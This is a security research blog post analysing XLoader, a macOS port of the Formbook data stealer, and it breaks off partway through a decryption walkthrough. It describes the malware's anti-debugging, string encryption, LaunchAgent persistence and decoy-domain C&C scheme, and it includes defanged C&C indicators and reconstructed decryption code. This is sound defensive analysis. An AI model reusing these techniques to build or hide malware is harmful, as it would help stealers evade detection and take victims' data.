# Time-proven tricks in a new environment: the macOS evolution of Formbook **[research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/](https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/)** July 27, 2021 July 27, 2021 ### By: Alexey Bukhteyev & Raman Ladutska The vast majority of threats for macOS are Adware such as Shlayer, Bundlore, Pirrit, and others. Compared to Windows, we only rarely encounter really harmful macOS malware that can steal sensitive data and cause serious damage. It is even more dangerous when developers of malware for macOS draw on their successful experience from similar development for Windows. [In one of our recent researches, we found that](https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/) [Formbook, one of the most prevalent data stealers, is](https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook) now sold in the underground forum under a new name, XLoader, and has new capabilities that enable it to operate in macOS. ----- **Figure 1 – XLoader ads in the underground forum.** However, until June 2021, we did not come across a single macOS sample of this malware in the wild. We monitor a large number of macOS samples on a daily basis. Recently, we caught in our sandbox a [suspicious macOS sample that had zero detects on VirusTotal:](https://www.virustotal.com/gui/file/97d6b194da410db82d9974aec984cff8ac0a6ad59ec72b79d4b2a4672b5aa8aa/detection) **Figure 2 – macOS malicious sample with zero detects on VirusTotal.** The network traffic generated by this sample appeared to be very similar to something we saw previously: **Figure 3 – Network traffic generated by XLoader for macOS.** ----- [We checked in our malware database and easily found an XLoader sample for Windows with the same](https://www.virustotal.com/gui/file/67ec47ff93dd597ed6ffa48d8c111f80d827f2351423929b0d341a08f8ac4dcb/behavior/C2AE) campaign id “09rb” that generates similar network traffic: **Figure 4 – Network traffic generated by XLoader for Windows.** In this article, we present detailed analysis of the malicious macOS sample we found and its features. The anti-analysis tricks, encryption, network communication, and the list of supported commands leave us in no doubt: we got our hands on an XLoader variant for macOS, which is really similar to Formbook malware. ## Anti-analysis techniques The XLoader binary doesn’t have any imports except dlsym(). Function names are stored in two encrypted buffers. XLoader decrypts the names of the required functions and resolves their addresses using the dlsym() function: **Figure 5 – macOS XLoader anti-analysis techniques.** [At the initialization stage, XLoader implements a simple ptrace-based anti-debugging technique:](https://stackoverflow.com/a/47755340/477168) **Figure 6 – macOS XLoader anti-debugging technique.** ## Encrypted strings Most of the text strings used by the malware, such as HTTP headers and filenames, as well as the URL of its C&C server, are encrypted and stored inside the buffers of a special form (so called “encbufs”). [The encryption scheme is very similar to the one used in Formbook and XLoader for Windows, but the](https://www.netscout.com/blog/asert/formidable-formbook-form-grabber) macOS version of XLoader has some distinguishing features. ----- In Formbook and both variants of XLoader, every encrypted buffer is prepended by a small function that is used to access the buffer. Some of the encrypted buffers contain data, while the other buffers contain a key used for decrypting other buffers. The buffers containing the encrypted data and the keys are designed to look like valid function assembly code, with a prologue and the “retn” instruction at the end: **Figure 7 – Formbook and macOS XLoader encrypted buffers.** First, every buffer is passed to the decoding function, which removes the fake prologue, and extra bytes are added to make the data look like assembly code. XLoader for macOS is 64-bit executable; therefore, the decoding function is implemented for x64 assembly, while the XLoader version for Windows uses x86 assembly. The decoded buffer that contains the encrypted data is then passed to the modified RC4 function. In all variants of Formbook and XLoader, this function is equivalent to the following C-code: ``` void mod_rc4_decrypt(BYTE *buff, unsigned int buff_len, BYTE *key) { int i; for (i = buff_len - 1; i > 0; i--) buff[i - 1] -= buff[i]; for (i = 0; i < buff_len - 1; i++) buff[i] -= buff[i + 1]; RC4(buff, buff_len, key, 20); for (i = buffer_len - 1; i > 0; i--) buff[i - 1] -= buff[i]; for (i = 0; i < buff_len - 1; i++) buff[i] -= buff[i + 1]; } ``` The decryption flow for encrypted buffers is rather complicated and it’s easier to visualize in a diagram: ----- **Figure 8 – Decryption of the data buffers in XLoader for macOS.** The “layer2_keys” from the diagram above are calculated individually for each encrypted buffer using the following algorithm: **Figure 9 – Deriving decryption keys for encrypted buffers.** In the XLoader version for Windows, the encryption scheme remains the same as it was in Formbook, except for the number and the purpose of the encrypted buffers. ## Persistence In its initial run, the malware copies itself into the newly created, randomly named hidden folder in the user’s home directory. The name of the application and of the executable binary is randomized as well. For example: **/Users/user/.wznlVRt83Jsd/HPyT0b4Hwxh.app/Contents/MacOS/HPyT0b4Hwxh** The malware creates an Info.plist file for the new application bundle using the template extracted from one of the encrypted buffers. Then, in a separate thread, XLoader runs its copy from the new path. ----- XLoader sets up an auto start by creating a new file with a random name in the LaunchAgents folder of the current user: **/Users/user/Library/LaunchAgents/com.wznlVRt83Jsd.HPyT0b4Hwxh.plist** After the installation is complete, XLoader stops execution while it continues its malicious activity in the child process. ## Malware configuration XLoader has two buffers in which it stores addresses used to search its C&C server. One of the buffers contains an address of a real C&C server in the following format: **www.iregentos[.]info/09rb/** Another buffer contains a list of decoy domains. This means that the domains from this list don’t host a real C&C panel and are only used to mask the real C&C communication. **Figure 10 – macOS XLoader decrypted buffer contain a list of 64 decoy domains and the C&C URI.** XLoader randomly chooses 16 of the 64 domain names and creates a list of URIs using the campaign id: **www.briannanbrown[.]com/09rb/ www.franciscobueno[.]guru/09rb/ …** ----- **Figure 11 – XLoader randomly chooses 16 of 64 decoy domains.** In the created list, a random URI is replaced with the main URI extracted from the first buffer: **Figure 12 – XLoader inserts the address of the C&C server into a random place in the list.** Therefore, every time the malware runs, the created list always contains the URI from the first buffer, while the other URIs can change. This is different from the XLoader version for Windows in which the address of a real C&C server is contained in the list of “decoys.” However, we should emphasize that the XLoader versions for macOS and the Windows for the campaign “09rb” share the same real C&C server “www.iregentos[.]info”. ## C&C communication At first glance, if we look at the encrypted XLoader communication, we don’t see any difference in comparison to Formbook. For C&C communication, XLoader uses the HTTP protocol and sends data using GET or POST requests, depending on the kind of data. XLoader sends beaconing requests in a loop while the malware is running. The requests look like this: **GET /vpz6/?** **Tl=tDdHvn8X6rT&qF7xr2rx=Rva7WvGfqee/ASq4k5lYe0dVNkfCuS3Tauh/YI8ic9vhGQpK/u62RmZZV0B** **HTTP/1.1 Host: www.bostonm[.info Connection: close** XLoader sends the data in one of the values of the query string in BASE64-encoded form. The keys in the query string are randomly generated and don’t contain useful data. As opposed to Formbook, which uses one layer of RC4 encryption, in XLoader the data is RC4encrypted in two layers. The key for the internal layer of encryption is calculated from the C2 URL using its own implementation of SHA1 with reversed DWORD endianness. The key for the second layer of encryption is calculated from one of the encrypted buffers extracted from the configuration (common_c2_key) using the modified RC4 cypher (see mod_rc4_decrypt above) and the previously calculated SHA1 for the URI. To decrypt an XLoader request, we can use this algorithm: 1. Decode the value from the query string using BASE64: ``` encrypted_data = base64.b64decode("Rva7WvGfqee/ASq4k5lYe0dVNkfCuS3TauhC/YI8ic9vhGQpK/u62RmZZV0B") #46f6bb5af19fa9e7bf012ab89399587b47553647c2b92dd36ae842fd823c89cf6f8464292bfbbad91999655d01 ``` 2. Calculate the c2_layer1_key using modified SHA1: ----- ``` h sha1(b www.bostonm.info/vpz6/ ).digest() c2_layer1_key = b"".join([struct.pack(">I", x) for x in struct.unpack("